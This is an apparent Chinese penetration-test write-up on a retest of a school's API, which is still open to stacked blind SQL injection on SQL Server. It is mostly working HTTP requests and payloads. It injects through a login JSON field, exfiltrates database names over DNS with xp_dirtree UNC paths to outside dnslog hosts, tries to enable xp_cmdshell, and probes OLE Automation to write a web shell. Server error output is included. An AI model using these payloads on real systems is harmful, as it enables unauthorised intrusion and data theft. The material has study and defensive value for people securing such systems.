在复测的时候发现,学校对api的未授权与sql注入的操作是将asp api help面板直接删掉,而没做任何修改
在fuzz后发现存在堆叠注入,但是无回显,尝试使用dnslog来打(这也是第一次用到这个技巧)
POST *** HTTP/1.1
Host: ***
Content-Type: application/JSON
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
{"LogUser":"admin' or'1'='1 ","LogPwd":"1","NewPwd":"123123admin!@#';DECLARE @d VARCHAR(100)=(SELECT TOP 1 name FROM sys.databases);EXEC('xp_dirtree ''\\\\'+@d+'.rbxkyltzcf.iyhc.eu.org\\test''')-- -"}
直接启动xpcmd
理想很美好理论四步就可以打开xpcmd权限
;EXEC sp_configure 'show advanced options',1;//允许修改高级参数
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; //打开xp_cmdshell扩展
RECONFIGURE;--
但是当做到第步骤的时候会出现
{
"msg": "在用户事务内不能使用 CONFIG 语句。",
"success": false
}
而RECONFIGURE会被判定为config语句,所以导致了’show advanced options’,1即使成立也没有什么用
基于xp_dirtree或者xp_cmd的dnslog外带
假设一个最有利的情况,如果xp_cmd可以使用,则可以构造一个如下的payload来完成数据外带
set @a=USER_NAME();exec('master..xp_cmdshell "ping -n 2 ' %2b @a %2b'.dnslog.cn"')--
假设无法使用xpcmd也可以尝试xp_dirtree进行dnslog的外带
';DECLARE @d VARCHAR(100)=(SELECT TOP 1 name FROM sys.databases);EXEC('xp_dirtree ''\\\\'+@d+'.rbxkyltzcf.iyhc.eu.org\\test''')-- -
因为xpdirtree允许接受一个路径作为参数,如果参数为unc路径,则会将主机名作为地址查询ip,而操作则会发出一个dns请求,借此完成数据外带
payload:
';DECLARE @d VARCHAR(100)=(SELECT TOP 1 name FROM sys.databases);EXEC('xp_dirtree ''\\\\'+@d+'.rbxkyltzcf.iyhc.eu.org\\test''')-- -
这样可以打一个dnslog回显,回显的user为as

尝试打开xpcmd
POST *** HTTP/1.1
Host: ***
Content-Type: application/JSON
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
{"LogUser":"admin' or'1'='1 ","LogPwd":"1","NewPwd":"123123admin!@#';EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;EXEC xp_cmdshell 'ping -n 1 hack.qwmbakflpj.yutu.eu.org';-- -"}
报错
{
"msg": "在用户事务内不能使用 CONFIG 语句。\r\n配置选项 'xp_cmdshell' 不存在,也可能是高级选项。\r\n在用户事务内不能使用 CONFIG 语句。\r\nSQL Server 阻止了对组件“xp_cmdshell”的 过程“sys.xp_cmdshell”的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用“xp_cmdshell”。有关启用“xp_cmdshell”的详细信息,请搜索 SQL Server 联机丛书中的“xp_cmdshell”。\r\n配置选项 'show advanced options' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。",
"success": false
}
后面我单独尝试;EXEC sp_configure 'xp_cmdshell',1-- - 发现回显配置选项 ‘xp_cmdshell’ 不存在,也可能是高级选项。 没有成功打开
基于OLE Automation机制的写shell
通过网站报错找到了可访问的绝对路径后,查看了OLE Automation是否开启,很遗憾是关闭的
';DECLARE @OleEnabled INT; DECLARE @DnsDomain NVARCHAR(100) = N'.cdzifgqdcj.dgrh3.cn'; DECLARE @DnsFullPath NVARCHAR(300); BEGIN TRY SELECT @OleEnabled = ISNULL(CAST(value_in_use AS INT), -1) FROM sys.configurations WHERE name = 'Ole Automation Procedures'; IF @OleEnabled = 1 SET @DnsFullPath = N'\\\\ole_IS_ENABLED' + @DnsDomain + N'\\status'; ELSE IF @OleEnabled = 0 SET @DnsFullPath = N'\\\\ole_IS_DISABLED' + @DnsDomain + N'\\status'; ELSE SET @DnsFullPath = N'\\\\ole_CONF_NOT_FOUND_OR_NULL' + @DnsDomain + N'\\status'; EXEC('xp_dirtree ''' + @DnsFullPath + ''''); END TRY BEGIN CATCH SET @DnsFullPath = N'\\\\ole_CHECK_SQL_CATCH_ERROR' + @DnsDomain + N'\\status'; EXEC('xp_dirtree ''' + @DnsFullPath + ''''); END CATCH;-- -

